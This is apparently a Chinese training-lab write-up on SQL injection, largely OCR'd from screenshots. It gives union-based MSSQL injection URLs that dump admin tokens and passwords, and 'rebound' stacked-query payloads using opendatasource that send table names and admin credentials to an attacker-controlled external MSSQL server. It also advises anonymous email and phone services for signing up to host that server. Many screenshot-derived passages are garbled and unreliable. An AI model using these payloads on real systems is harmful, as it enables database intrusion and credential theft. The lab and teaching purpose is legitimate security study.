|               |                   | TUII填元反现可以分NJ   |
| Elen          | ents Console Sour | ces Network Performance Memory Application Lighthouse EditThisCookie HackBar  |
| Encryption -  | Encoding - SQL    | → XSS → LFI → XXE → Omer  |
| a Load URL    | http://59.63.200  | 1.79:8015/?id=1' union all select null,null,null-+  |
| 🖁 Split URL   |                   |   |
| Execute       | Post data         | Referer 🗆 User Agent 🗖 Cookies Clear All  |
|               |                   |   |
|               |                   |   |
|               |                   |   |
|               |                   |   |

|  | Title   | Body  |                       |
|--|---|---|-----------------------|
| 怎么让SQI<br>增长呢?                                   | _Server的逐渐自                                     | 动 <mark>设置ID主键自增? 在创建表的时候就可以。在新增数据的时候就不需要对ID进行赋值了 create table tableName( id int identity(1,1) primary key, data varcha<br/>identity(1,1)就是自动增加,第一个参数是种子值,第二个是增量值; primary key是主键 */</mark>     | r(50) ) /*            |
| 2  |   | 3   |                       |
|  |   |   |                       |
|  |   | 判断出第一个字段为数字型,后面两个为字符型要加单引号  |                       |
| f Elem   | ents Console S                                  | 判断出第一个字段为数字型,后面两个为字符型要加单引号  |                       |
| Elema  | ents Console S                                  | 判断出第一个字段为数字型,后面两个为字符型要加单引号  | <b>2</b>              |
| Elemanoryption -                                 | ents Console S<br>Encoding + S                  | 判断出第一个字段为数字型,后面两个为字符型要加单引号<br>Durces Network Performance Memory Application Lighthouse EditThisCookie HackBar   | <b>P</b> 2            |
| Element<br>ncryption -<br>Load URL               | ents Console S<br>Encoding + S<br>http://59.63. | 判断出第一个字段为数字型,后面两个为字符型要加单引号<br>aurces Network Performance Memory Application Lighthouse EditThisCookie HackBar<br>aL + XSS + LFI + XXE + Ott +<br>2007.98.8015/?id=1' union all select 1,2',3'-+ | <b>₽</b> 2  <b>\$</b> |
| Element<br>norryption -<br>Load URL<br>Split URL | ents Console S<br>Encoding - S<br>http://59.63. | 判断出第一个字段为数字型,后面两个为字符型要加单引号<br>aurces Network Performance Memory Application Lighthouse EditThisCookie HackBar<br>aL + XSS + LFI + XXE + Ottr +<br>200.79:8015/?id=1' union all select 1,2',3'-+ | <u>■</u> 2] <b>‡</b>  |

#### • 查表名

http://59.63.200.79:8015/?id=1' union all select 1,'2',table\_name from information\_schema.tables--+

| Title  | Body   |
|--|--|
| 怎么让SQLServer的逐渐的<br>增长呢?   | <ul> <li>         は)         は)         は目的         は)         は         は</li></ul>   |
| 2  | admin  |
| 2  | dtproperties   |
| 2  | news   |
| 2  | sysconstraints   |
| 2  | syssements   |
| -  |  |
| Elements Console   | Sources Network Performance Memory Application Lighthouse EditThisCookie HackBar   |
| Elements Console<br>ncryption → Encoding →                               | Sources Network Performance Memory Application Lighthouse EditThisCookie HackBar   |
| ⊑<br>Elements Console<br>hcryption ← Encoding ←<br>Load URL<br>Split URL | Sources Network Performance Memory Application Lighthouse EditThisCookie HackBar OI PackBar 201<br>XQL + XSS + LFI + XXE + Other +<br>200.79:8015/?id=1' union all select 1,'2',table_name from information_schema.tables+ |

#### • 查字段

http://59.63.200.79:8015/?id=1' union all select 1,'2',column\_name from information\_schema.columns where table\_n
ame='admin'--+

| id Title                                   | Body   |
|--|--|
| 1<br><sup>怎么让SQLServer</sup> 的逐渐自动<br>增长呢? | 设置ID主键自增?在创建表的时候就可以。在新增数据的时候就不需要对ID进行赋值了 create table tableName( id int identity(1,1) primary key, data varchar(50) ) /*<br>identity(1,1)就是自动增加,第一个参数是种子值,第二个是增量值; primary key是主键 */ |
| 1 2  | id   |
| 1 2  | username 🔨   |
| 1 2  | passwd   |
| 1 2  | token  |
|  |  |
| Lik 🔲 Elements Console Source              | es Network Performance Memory Application Lighthouse EditThisCooke HackBar   |
| Encryption - Encoding - SQL                | ✓ XSS ✓ LFI ✓ XXE ✓ Other ✓  |
| Load URL http://59.63.200                  | 1.79:8015/7id=1' union all select 1,2',column_name from information_schema.columns where table_name='admin'-+  |
| Execute     Post data                      | Referer 🗌 User Agent 🗌 Cookies Clear All   |
|  |  |

#### • 拿flag

http://59.63.200.79:8015/?id=1' union all select 1,token,passwd from admin--+

|               | Title                              | Body  |
|---------------|------------------------------------|---|
| 1 怎么让S<br>长呢? | QLServer的逐渐自动                      | 會 设置ID主键自增? 在创建表的时候就可以。在新增数据的时候就不需要对ID进行赋值了 create table tableName( id int identity(1,1) primary key, data varchar(50) )<br>identity(1,1)就是自动增加第一个参数是种子值,第二个是增量值; primary key是主键 */ |
| 1 zkaq{e9     | c9e67c5}                           | admin   |
|               |                                    |   |
| а fi l в      | ements Console Sour                | res Network Performance Memory Amplication Lighthouse EditThisCookie HackBar  |
| Encryption    | <ul> <li>Encoding - SQL</li> </ul> | <ul> <li>x XSS + LFI + XXE + Oper +</li> </ul>  |
|               | RL http://59.63.200                | .79:8015/?id=1' union all select 1,loken,passwd from admin+   |
| Load UF       | iL                                 |   |

• 第二种方式是采用反弹注入中利用堆叠注入多语句执行

- 定义:存在SQL注入点却无法进行注入、注入工具猜解的速度异常缓慢、错误提示信息关闭、无法返回注入结果等,可以使用 反弹注入来进行解决
- 原理: 反弹注入需要依赖于函数opendatasource的支持,将当前数据库中的查询结果发送到另一数据库服务器中,从而获取 目标服务器中数据库信息
- 堆叠注入
  - 1. 分号(;) 是用来表示一条sql语句的结束
  - 2. 多条SQL语句同时执行,可以执行任意语句,不用只局限于一种类型的语句
- 反弹注入的条件
  - 1. 有SQL注入,漏洞
  - 2. 外部数据库得插进去(我们要有一个外部数据库)[搭建一个MSSQL的数据库]公网ip[一台有公网ip的MSSQL数据 库]

MSSQL注入 — 反弹注入实际就是把查询出来的数据发送到我们的MSSQL服务器上,那么我们需要自己的MSSQL数据库和一个公 网IP

**免费资源:虚拟空间**——在虚拟空间中开启MSSQL然后直接使用,可以免去MSSQL安装环境并且不需要特意购置云服务器来获取一个公 网IP。虚拟空间也可以搭建网站和个人博客,有兴趣可以去尝试!

- 1. 香港云http://www.webweb.com 随便拿个邮箱然后注册就行(免费60天的试用,过期了就换个邮箱(惊奇的发现匿名邮箱 也可以))
- 2. 香港云如果失效用这个: https://my.gearhost.com/CloudSite、http://mssqlus.webweb.com/ (数据库操作)
- 3. 临时邮箱: https://rootsh.com/
- 4. 匿名电话号码: https://yunduanxin.net/

#### 1. 环境准备

|                                     |                             |          |         |       |     | 📄 知识库 🛛 🤌 帮助平台 | ▶ 退出                 |
|-------------------------------------|-----------------------------|----------|---------|-------|-----|----------------|----------------------|
|                                     |                             |          |         |       |     |                |                      |
| GYLQ123123-001 (V                   | V10-US) 帐户及财务管理             |          |         |       |     |                |                      |
| 🛞 主机管理                              | 当前位置:数据库管理 >> SQL Server 管理 |          |         |       |     | 2              | )21/7/27 下午3:04:27 星 |
| 这 IIS 管理                            |                             |          |         |       |     |                |                      |
| 数据库管理                               |                             |          |         |       |     |                |                      |
|                                     | ► MSSQL<br>*44 RC+ III ±5-  | 1        |         |       |     |                |                      |
| ▶ SQL Server 管理<br>▶ SQL Server 控制台 | 刻56年1899.<br>数据库空间:         | 1000 Mb  |         |       |     |                |                      |
| ▶ MySQL 管理                          |                             |          |         |       |     |                |                      |
| ▶ MySQL 控制台                         | ● MSSQL 列表                  |          |         |       |     |                |                      |
| → 町箱祭箱                              | 数据库名称                       | 数据库 URL  | 用户名     | 连接字符串 | 控制台 | 数据库操作          |                      |
|                                     |                             |          |         |       |     |                |                      |
| 🔪 DNS 管理                            | 创建新数据库 >>>                  |          |         |       |     |                |                      |
|                                     |                             |          |         |       |     |                |                      |
|                                     |                             | 创建macal  | 粉埕庑     |       |     |                |                      |
|                                     |                             | 的连H1554B | 女人17日1年 |       |     |                |                      |
|                                     |                             |          |         |       |     |                |                      |

| 数据库创建成功          |                      |                       |       |     |               |
|------------------|----------------------|-----------------------|-------|-----|---------------|
| D MSSQL          |                      |                       |       |     |               |
| 数据库限额:<br>数据库空间: | 1<br>1000 Mb         |                       |       |     |               |
|                  |                      |                       |       |     |               |
| ● MSSQL 列表       |                      |                       |       |     |               |
| 数据库名称            | 数据库 URL              | 用户名                   | 连接字符串 | 控制台 | 数据库操作         |
| DB_14DC16C_gylq  | SQL5095.site4now.net | DB_14DC16C_gylq_admin | 连接字符串 | 控制台 | 🌣 🖄 🥙 🔣 😄     |
|                  |                      |                       |       | /   |               |
| 建新数据库 >>>        |                      |                       |       | ∎   | <b>三〉关/</b> 而 |
|                  |                      |                       |       | 自有  | 51牛细          |

| • SQL Server 管理             数据库名称:        DB_14DC16C_gylq             数据库类型:        SQL Server 2012             服务器:        SQL5095.site4now.net             默认连接端口:        1433             备用连接端口:        2433             登入帐号:        DB_14DC16C_gylq_admin             密码:           ×******             空间限额:           S00 MB             当前使用空间:           7 MB  | MsSQL 管理        |                       | ×    |
|--|-----------------|-----------------------|------|
| 数据库名称:       DB_14DC16C_gylq         数据库类型:       SQL Server 2012         服务器:       SQL5095.site4now.net         默认连接端曰:       1433         备用连接端曰:       2433         登入帐号:       DB_14DC16C_gylq_admin         空间限额:       500 MB ③         当前使用空间:       7 MB  | ● SQL Server 管理 |                       |      |
| 数据库类型:       SQL Server 2012         服务器:       SQL5095.site4now.net         默认连接端口:       1433         备用连接端口:       2433         登入帐号:       DB_14DC16C_gylq_admin         应码:       *******          空间限额:       500 MB          当前使用空间:       7 MB   | 数据库名称:          | DB_14DC16C_gylq       |      |
| 服务器:       SQL5095.site4now.net         默认连接端口:       1433         备用连接端口:       2433         登入帐号:       DB_14DC16C_gylq_admin         密码:       ******* ℃         空间限额:       500 MB ℃         当前使用空间:       7 MB  | 数据库类型:          | SQL Server 2012       |      |
| 默认连接端口:       1433         备用连接端口:       2433         登入帐号:       DB_14DC16C_gylq_admin         密码:       ******* ℃         空间限额:       500 MB ℃         当前使用空间:       7 MB  | 服务器:            | SQL5095.site4now.net  |      |
| 备用连接端口:       2433         登入帐号:       DB_14DC16C_gylq_admin         密码:       ******** ℃         空间限额:       500 MB ℃         当前使用空间:       7 MB  | 默认连接端口:         | 1433                  |      |
| 登入账号:       DB_14DC16C_gylq_admin       记住         密码:       ********        ○       然后去navica         空间限额:       500 MB ○       里面连接   | 备用连接端口:         | 2433                  |      |
| <ul> <li> <sup>密码:</sup> <ul> <li></li></ul></li></ul>   | 登入帐号:           | DB_14DC16C_gylq_admin | ▶ 记住 |
| 空间限额:     500 MB №     ■ | 密码:             | ****** Ň              | 一    |
|  | 空间限额:           | 500 MB 🚫              |      |
|  | 当前使用空间:         | 7 MB                  | 里面连接 |
|  |                 |                       |      |

2. 如果连接navicat连接报错,去该软件下载目录找到这个安装

### 此电脑 〉 Windows (C:) 〉 Program Files 〉 PremiumSoft 〉 Navicat Premium 15

| ^ | ~ 名称                  | 修改日期             | 类型              | 大小       |
|---|-----------------------|------------------|-----------------|----------|
|   | 🧧 ntunnel_mysql.php   | 2019/5/21 18:07  | PHP 文件          | 16 KB    |
|   | 🗾 ntunnel_pgsql.php   | 2019/5/21 18:07  | PHP 文件          | 14 KB    |
|   | 🗾 ntunnel_sqlite.php  | 2019/5/21 18:07  | PHP 文件          | 15 KB    |
|   | 🗊 registration        | 2014/11/12 12:24 | Internet 快捷方式   | 1 KB     |
|   | 🔊 sha256_password.dll | 2019/12          | 应用程序扩展          | 86 KB    |
|   | 🔊 sqlite.dll          | 2019/5/22 13:03  | 应用程序扩展          | 339 KB   |
|   | 🔊 sqlite3.dll         | 2019/11/6 9:47   | 应用程序扩展          | 1,307 KB |
|   | 🚏 sqIncli.msi 🛛 🖊     | 2014/11/12 12:24 | Windows Install | 4,471 KB |
|   | 💏 sqIncli_x64.msi     | 2014/11/12 12:24 | Windows Install | 7,885 KB |
|   | 🔊 ssleay32.dll        | 2019/5/22 13:03  | 应用程序扩展          | 349 KB   |
|   | 🔊 support             | 2014/11/12 12:24 | Internet 快捷方式   | 1 KB     |
|   | 🔊 ucrtbase.dll        | 2019/2/22 9:51   | 应用程序扩展          | 960 KB   |
|   | unins000.dat          | 2020/10/11 10:51 | DAT 文件          | 24 KB    |
|   | 改 unins000.exe        | 2020/10/11 10:50 | 应用程序            | 1,178 KB |
|   | unins000.msg          | 2020/10/11 10:51 | MSG 文件          | 9 KB     |
|   | vcruntime140.dll      | 2019/2/22 9:51   | 应用程序扩展          | 86 KB    |
|   | 🚳 wshelp64.dll        | 2019/2/22 9:51   | 应用程序扩展          | 36 KB    |
| ~ | 🔊 zlib1.dll           | 2019/5/22 13:03  | 应用程序扩展          | 84 KB    |
|   |                       |                  |                 |          |

|                     |                                       | × |
|---------------------|---------------------------------------|---|
| 常规 高级 数据库 SSH       |                                       |   |
| Navicat             | 数据库                                   |   |
| 连接名: 香港云-GYLQ       |                                       |   |
| 主机: SQL5095.site4nd | ow.net                                |   |
| 初始数据库: master       |                                       |   |
| 验证: SQL Server 验证   | · · · · · · · · · · · · · · · · · · · |   |
| 用户名: DB_14DC16C_gy  | ylq_admir                             |   |
| 密码:                 |                                       |   |
|                     |                                       |   |
|                     |                                       |   |
| 测试连接                | 确定 取消                                 |   |

3. 连接成功后可以开始了

| 🕙 Navicat Premium                   |   | - 🗆 X        |
|-------------------------------------|---|--------------|
| 文件 编辑 查看 收藏夹                        | 工具 窗口 帮助  | 登录 👤         |
|                                     | 1775 <i>f(x)</i> 2 . 2 冊 日本 1775 1776 1777 1777 1777 1777 1777 1777 |              |
| Iocalhostmysql                      | 对象  | () 💷 📰 📰     |
| ✓ ● 各志広 ✓ ● DB_14DC16C_gylq ✓ 思 dbo | □ 打开表 □ 设计表 □ 新建表 □ 删除表 III 导入向导 III 导出向导 Q                         | := dbo       |
|                                     |   | <b>:=</b> □表 |
| > 腮 视图                              |   |              |
| > 」 查询                              |   |              |
| 🗸 📲 guest                           |   |              |
| = □ 表                               |   |              |
| > <i>f<sub>x</sub></i> 函数           |   |              |
| > 💼 查询                              |   |              |
|                                     |   |              |
|                                     |   |              |
|                                     |   |              |

#### 4. 构建sql连接语句

确认我的环境数据 MSSQL服务器 数据库服务器URL: SQL5095.site4now.net 数据库名称: DB\_14DC16C\_gylq 用户名: DB\_14DC16C\_gylq\_admin 密码: 12345678

#### • 查表和原理

insert into

 $opendatasource ('sqloledb', 'server=SQL5009.webweb.com, 1433; uid=DB_14A5E44_zkaq_admin; pwd=zkaqzkaq; database=DB_14A5E44_zkaq'). DE and the server and t$ \_14A5E44\_zkaq.dbo.temp select \* from admin --

Insert into 很明显是插入语句 然后出现了个opendatasource。

opendatasource 为了方便理解,可以看理解为'使用opendatasource函数将当前数据库查询的结果发送到另一数据 库服务器中。

语法:

#### OPENDATASOURCE(provider\_name,init\_string)

#### provider name

注册为用于访问数据源的OLE DB 提供程序的PROGID的名称 MSSQL的名称为SQLOLEDB

#### init\_string

连接字符串 连接地址、端口、用户名、密码、数据库名 server=连接地址,端口;uid=用户名;pwd=密码;database=数据库名称

连接上服务器后选定数据表DB\_14A5E44\_zkaq.dbo.temp 把后面语句的查询结果插入到那个表里面

http://59.63.200.79:8015/?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB\_1
4DC16C\_gylq\_admin;pwd=12345678;database=DB\_14DC16C\_gylq').DB\_14DC16C\_gylq.dbo.test select table\_name from inform
ation\_schema.tables --+

| ← → C ▲ 不安全   59.63.200.79:8015/?id=1%27;insert%20into%20opendatasource(%27sqloledb%27,%27server=SQL5095.site4now.n ☆ 配 ☆ ※ ☆ ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ●  | 全 59.63.200.79:8015/?id=1%27;insert%20into%20opendatasource(%27sqloledb%27,%27server=SQL5095.site4now.n ☆  | 59.63.200.79:8015/?id=1%2 | 7;ir × +   |          |
|--|--|---------------------------|--|----------|
| I Cand URL Split URL | mito ● YouTube 	● 1(7).jpg (28×28) 	M Gmail 	 地图 ● YouTube 	 地图 ● 在线客服 券 折扣券吧-每天千款 M Gmail 	 ● [   | · → C ▲ 不安全               | 59.63.200.79:8015/?id=1%27;insert%20into%20opendatasource(%27sqloledb%27,%27server=SQL5095.site4now.n 😭 🖪 🍖 🥹 🚳  | *        |
| Image: Title       Body  | Body         逐漸       设置ID主键自增?在创建表的时候就可以。在新增数据的时候就不需要对ID进行赋值了 create table tableName( id int identity(1,1) prima ikey, data varchar(50) ) /* identity(1,1)就是自动增加,第一个参数是种子值,第二个是增量值; primary key是主键*/         sole       Sources       Network       Performance       Memory       Application       Lighthouse       EditThisCookie       HackBar       ■3       ● 3         g +       SQL +       XSS +       LFI +       XXE +       Other +       H         L63.200.79:8015/7/id=1';insert Into       Lasource('seloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC16C_gylg_admin;pwd=12345678;database=DB_14DC16C_gylg').DB_14DC16C_gylg.dbo.test  | 应用  ③ WASETA  Palmito     | 💶 YouTube 📀 1(7).jpg (28×28) M Gmail 🐹 地图 💶 YouTube ≹ 地图 🔟 在线客服 券 折扣券吧-每天干款 M Gmail 🔹 🔹  | 圓儀       |
| なる让SQLServer的逐漸<br>自动増长呢?     し     留目D主键自増? 在创建表的时候就可以。在新增数据的时候就不需要对ID进行赋值了 create table tableName( id int identity(1,1<br>はないないには、1000000000000000000000000000000000000  | 逐新 设置ID主键自增?在创建表的时候就可以。在新增数据的时候就不需要对ID进行赋值了 create table table Name(id int identity(1,1) prima key, data varchar(50)) /* identity(1,1)就是自动增加,第一个参数是种子值,第二个是增量值; primary key是主键 */           sole         Sources         Network         Performance         Memory         Application         Lighthouse         EditThisCookie         HackBar         Image: Sources         Network         Performance         Memory         Application         Lighthouse         EditThisCookie         HackBar         Image: Sources         Network         Performance         Memory         Application         Lighthouse         EditThisCookie         HackBar         Image: Sources         Network         Performance         Memory         Application         Lighthouse         EditThisCookie         HackBar         Image: Sources         Network         Performance         Memory         Application         Image: Sources         Network         Performance         Memory         Application         Image: Sources         Network         Network         Performance         Memory         Application         Image: Sources         Network         Network         Performance         Memory         Application         Image: Sources         Network         Network | Title                     | Body   |          |
| Elements Console Sources Network Performance Memory Application Lighthouse EditThisCookie HackBar      Intryption + Encoding + SQL + XSS + LFI + XXE + Other +      Load URL     Inttp://59.63.200.79:8015/?id=1';insert into     opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC16C_gylq_admin;pwd=12345678;database=DB_14DC16C_gylq').DB_14DC16C_gylq.d      Split URL     select table _ anter form information_schema tables _+t   | sole Sources Network Performance Memory Application Lighthouse EditThisCookie HackBar P3 2 3<br>g + SQL + XSS + LFI + XXE + Other + H<br>.63.200.79:8015/7id=1';insert into<br>.asource('sgloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC16C_gylq_admin;pwd=12345678;database=DB_14DC16C_gylq').DB_14DC16C_gylq.dbo.test  | 怎么让SQLServer的逐渐<br>自动增长呢? | 行 设置ID主键自增?在创建表的时候就可以。在新增数据的时候就不需要对ID进行赋值了 create table tableName( id int identity(1 key, data varchar(50)) /* identity(1,1)就是自动增加,第一个参数是种子值,第二个是增量值; primary key是主键*/ | I) prim  |
| Elements Console Sources Network Performance Memory Application Lighthouse EditThisCookie HackBar   Incryption + Encoding + SQL + XSS + LFI + XXE + Other +     Incryption + Encoding + SQL + XSS + LFI + XXE + Other +     Incryption + Encoding + SQL + XSS + LFI + XXE + Other +   Incryption +   Incryption + Intro//59.63.200.79:8015/?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC16C_gylq_admin;pwd=12345678;database=DB_14DC16C_gylq').DB_14DC16C_gylq.detabase=DB_14DC16C_gylq').DB_14DC16C_gylq.detabase=DB_14DC16C_gylq').DB_14DC16C_gylq.detabase=DB_14DC16C_gylq').DB_14DC16C_gylq.detabase=DB_14DC16C_gylq').DB_14DC16C_gylq.detabase=DB_14DC16C_gylq').DB_14DC16C_gylq.detabase=DB_14DC16C_gylq').DB_14DC16C_gylq.detabase=DB_14DC16C_gylq').DB_14DC16C_gylq.detabase=DB_14DC16C_gylq').DB_14DC16C_gylq.detabase=DB_14DC16C_gylq').DB_14DC16C_gylq.detabase=DB_14DC16C_gylq').DB_14DC16C_gylq.detabase=DB_14DC16C_gylq').DB_14DC16C_gylq.detabase=DB_14DC16C_gylq').DB_14DC16C_gylq.detabase=DB_14DC16C_gylq').DB_14DC16C_gylq.detabase=DB_14DC16C_gylq').DB_14DC16C_gylq.detabase=DB_14DC16C_gylq').DB_14DC16C_gylq.detabase=DB_14DC16C_gylq').DB_14DC16C_gylq.detabase=DB_14DC16C_gylq').DB_14DC16C_gylq.detabase=DB_14DC16C_gylq').DB_14DC16C_gylq.detabase=DB_14DC16C_gylq').DB  | sole Sources Network Performance Memory Application Lighthouse EditThisCookie HackBar P3 \$  |                           |  |          |
| Elements Console Sources Network Performance Memory Application Lighthouse EditThisCookie HackBar     Encryption - Encoding - SQL - XSS - LFI - XXE - Other -     Load URL     http://59.63.200.79:8015/?id=1';insert into     opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC16C_gylq_admin;pwd=12345678;database=DB_14DC16C_gylq').DB_14DC16C_gylq.d     select table name from information scheme tables -+   | sole Sources Network Performance Memory Application Lighthouse EditThisCookie HackBar  |                           |  |          |
| incryption + Encoding + SQL + XSS + LFI + XXE + Other +<br>Load URL http://59.63.200.79:8015/?id=1';insert into<br>opendatasource('sqloiedb','server=SQL5095.site4now.net,1433;uid=DB_14DC16C_gylq_admin;pwd=12345678;database=DB_14DC16C_gylq').DB_14DC16C_gylq.d   | g + SQL + XSS + LFI + XXE + Other + H<br>1.63.200.79:8015/?id=1';insert into<br>tasource('sqloledb';'server=SQL5095.site4now.net,1433;uid=DB_14DC16C_gylq_admin;pwd=12345678;database=DB_14DC16C_gylq').DB_14DC16C_gylq.dbo.test   | Elements Console          | Sources Network Performance Memory Application Lighthouse EditThisCookie HackBar   | \$       |
| Load URL http://59.63.200.79:8015/?id=1';insert into opendatasource('sqloledb';server=SQL5095.site4now.net,1433;uid=DB_14DC16C_gylq_admin;pwd=12345678;database=DB_14DC16C_gylq').DB_14DC16C_gylq.d  | .63.200.79:8015/?id=1';insert into<br>asource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC16C_gylq_admin;pwd=12345678;database=DB_14DC16C_gylq').DB_14DC16C_gylq.dbo.test  | ncryption - Encoding -    | SQL - XSS - LFI - XXE - Other -  |          |
| opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC16C_gylq_admin;pwd=12345678;database=DB_14DC16C_gylq').DB_14DC16C_gylq.d  | asource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC16C_gylq_admin;pwd=12345678;database=DB_14DC16C_gylq').DB_14DC16C_gylq.dbo.test  | Load URL http://59.63.    | 200.79:8015/?id=11;insert into   |          |
| select able trade into monoaloo, screma ables -+   | ble nome from information, ashome tables   | opondotood                | urce('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC16C_gylq_admin;pwd=12345678;database=DB_14DC16C_gylq').DB_14DC16C_gylq                                    | lbo.test |
|  | ble_name from information_schema.tables -+   | Split URL                 | name from information_schema.tables+   |          |
| Post data Referer User Agent Cookies Clear All   | data 🗌 Referer 🗌 User Agent 🗌 Cookies 🛛 Clear All  | Split URL                 |  |          |

#### • 接着按f5刷新一下就出现结果了

|     | 对象 ■ * 无标题 - 查询          |           |
|-----|--------------------------|-----------|
| /la | ☞ 开始事务 📄 文本 • 🍸 筛选 ↓ 靠排序 | 🔣 寺入 🔜 寺出 |
|     | test                     |           |
|     | admin                    |           |
|     | dtproperties             |           |
|     | ▶ news                   |           |
|     | sysconstraints           |           |
|     | syssegments              |           |
|     |                          |           |
|     |                          |           |
|     |                          |           |
|     |                          |           |
|     |                          |           |

#### • 查字段

http://59.63.200.79:8015/?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB\_1
4DC16C\_gylq\_admin;pwd=12345678;database=DB\_14DC16C\_gylq').DB\_14DC16C\_gylq.dbo.test select column\_name from infor
mation\_schema.columns where table\_name='admin' --+



#### • 查flag,创建四个字段,执行以下语句,然后navicat刷新一下就好

http://59.63.200.79:8015/?id=1';insert into opendatasource('sqloledb', 'server=SQL5095.site4now.net,1433;uid=DB\_1
4DC16C\_gylq\_admin;pwd=12345678;database=DB\_14DC16C\_gylq').DB\_14DC16C\_gylq.dbo.test select id,username,passwd,tok
en from admin --+



### Oracle——报错注入和显错注入

练习环境: http://59.63.200.79:8808/index\_x.php (这里面可以试炼一下oracle语句) 环境: http://59.63.200.79:8808/

• 练习环境学习下oracle语法

Dual是一个实表(也有人说它是虚表),如果你直接查询它,它只显示一个X,列名为DUMMY 那么要它有什么用妮? 它实际上是为了满足查询语句的结构而产生 比如你想查询你的用户名 select user from Dual 调用系统函数:(获得随机值: select dbms\_random.random from dual) 还能做加减法: select 9+1 from dual

虚表

| III 应用 S WASETA  Palmito ● YouTube S 1(7).jpg (28×28) M Gmail X 地图 ● You Select * from dual 提交 执行的sql: select * from dual |       |
|---|-------|
| select * from dual<br>提交<br>执行的sql: select * from dual  | ITube |
| 提交<br>执行的sql: select * from dual  |       |
| 执行的sql:select * from dual   |       |
| DUMMY   |       |
|   |       |

#### • 查询出所有的表

| <b>S</b> 59.63.200.79   | 9:8808/index_x.php × +  |   |          |        |            |   |   |
|---|---|---|----------|--------|------------|---|---|
| ← → C   | ▲ 不安全   59.63.200.79:8808/index_x.p   | hp  |          |        |            |   |   |
| 🚺 应用 S W  | /ASETA  Palmito 🕒 YouTube 🕤 1(7).jpg  | (28×28) M Gmail Ҟ 地图  | YouTube  | 🔀 地图   | 图 」D 在线客服  | g 券 折扣  | 券吧-每天千副   |
| select * from all_  | tables  |   |          |        |            |   |   |
| 提交  |   |   |          |        |            |   |   |
| <br>丸行的sal: se  | lect * from all tables  |   |          |        |            |   |   |
|   | _   |   |          |        |            | 1   |   |
|   |   | TADIECDACE NIANAE   | CLUCTER  | NIANAE | IOT NIANAE | CTATUC  |   |
| OWNER   |   |   | CLUSTER_ | NAME   | IOT_NAME   | STATUS  | PCT_FRI   |
| OWNER<br>SYS  | TABLE_NAME  | TABLESPACE_NAME   | CLUSTER_ | NAME   | IOT_NAME   | <b>STATUS</b><br>VALID  | <b>PCT_FRI</b><br>10  |
| OWNER<br>SYS<br>SYS   | TABLE_NAME       DUAL       SYSTEM_PRIVILEGE_MAP  | TABLESPACE_NAME       SYSTEM       SYSTEM   | CLUSTER_ | NAME   | IOT_NAME   | STATUS<br>VALID<br>VALID  | PCT_FRI<br>10<br>10   |
| OWNER<br>SYS<br>SYS<br>SYS  | TABLE_NAME       DUAL       SYSTEM_PRIVILEGE_MAP       TABLE_PRIVILEGE_MAP  | TABLESPACE_NAME         SYSTEM         SYSTEM         SYSTEM  |          | NAME   |            | STATUS<br>VALID<br>VALID<br>VALID                                     | PCT_FRI<br>10<br>10<br>10                                     |
| OWNER           SYS           SYS           SYS           SYS   | TABLE_NAME         DUAL         SYSTEM_PRIVILEGE_MAP         TABLE_PRIVILEGE_MAP         STMT_AUDIT_OPTION_MAP  | TABLESPACE_NAME         SYSTEM         SYSTEM         SYSTEM         SYSTEM         SYSTEM  |          |        |            | STATUS<br>VALID<br>VALID<br>VALID<br>VALID                            | PCT_FRE<br>10<br>10<br>10<br>10                               |
| OWNER<br>SYS<br>SYS<br>SYS<br>SYS<br>SYS  | TABLE_NAME         DUAL         SYSTEM_PRIVILEGE_MAP         TABLE_PRIVILEGE_MAP         STMT_AUDIT_OPTION_MAP         AUDIT_ACTIONS  | TABLESPACE_NAME         SYSTEM         SYSTEM         SYSTEM         SYSTEM         SYSTEM         SYSTEM         SYSTEM  |          |        |            | STATUS<br>VALID<br>VALID<br>VALID<br>VALID                            | PCT_FRI<br>10<br>10<br>10<br>10<br>10                         |
| OWNER           SYS           SYS           SYS           SYS           SYS           SYS           SYS           SYS   | TABLE_NAME         DUAL         SYSTEM_PRIVILEGE_MAP         TABLE_PRIVILEGE_MAP         STMT_AUDIT_OPTION_MAP         AUDIT_ACTIONS         PSTUBTBL   | TABLESPACE_NAME         SYSTEM         SYSTEM         SYSTEM         SYSTEM         SYSTEM         SYSTEM         SYSTEM  |          |        |            | STATUS<br>VALID<br>VALID<br>VALID<br>VALID<br>VALID                   | PCT_FRI<br>10<br>10<br>10<br>10<br>10<br>10                   |
| OWNER           SYS   | TABLE_NAME         DUAL         SYSTEM_PRIVILEGE_MAP         TABLE_PRIVILEGE_MAP         STMT_AUDIT_OPTION_MAP         AUDIT_ACTIONS         PSTUBTBL         WRI\$_ADV_ASA_RECO_DATA                                   | TABLESPACE_NAME         SYSTEM         SYSTEM         SYSTEM         SYSTEM         SYSTEM         SYSTEM   |          |        |            | STATUS<br>VALID<br>VALID<br>VALID<br>VALID<br>VALID<br>VALID          | PCT_FRI<br>10<br>10<br>10<br>10<br>10<br>10<br>10             |
| OWNER           SYS           SYS | TABLE_NAME         DUAL         SYSTEM_PRIVILEGE_MAP         TABLE_PRIVILEGE_MAP         STMT_AUDIT_OPTION_MAP         AUDIT_ACTIONS         PSTUBTBL         WRI\$_ADV_ASA_RECO_DATA         PLAN_TABLE\$              | TABLESPACE_NAME         SYSTEM         SYSTEM         SYSTEM         SYSTEM         SYSTEM         SYSTEM         SYSTEM  |          |        |            | STATUS<br>VALID<br>VALID<br>VALID<br>VALID<br>VALID<br>VALID<br>VALID | PCT_FRI<br>10<br>10<br>10<br>10<br>10<br>10<br>10<br>10       |
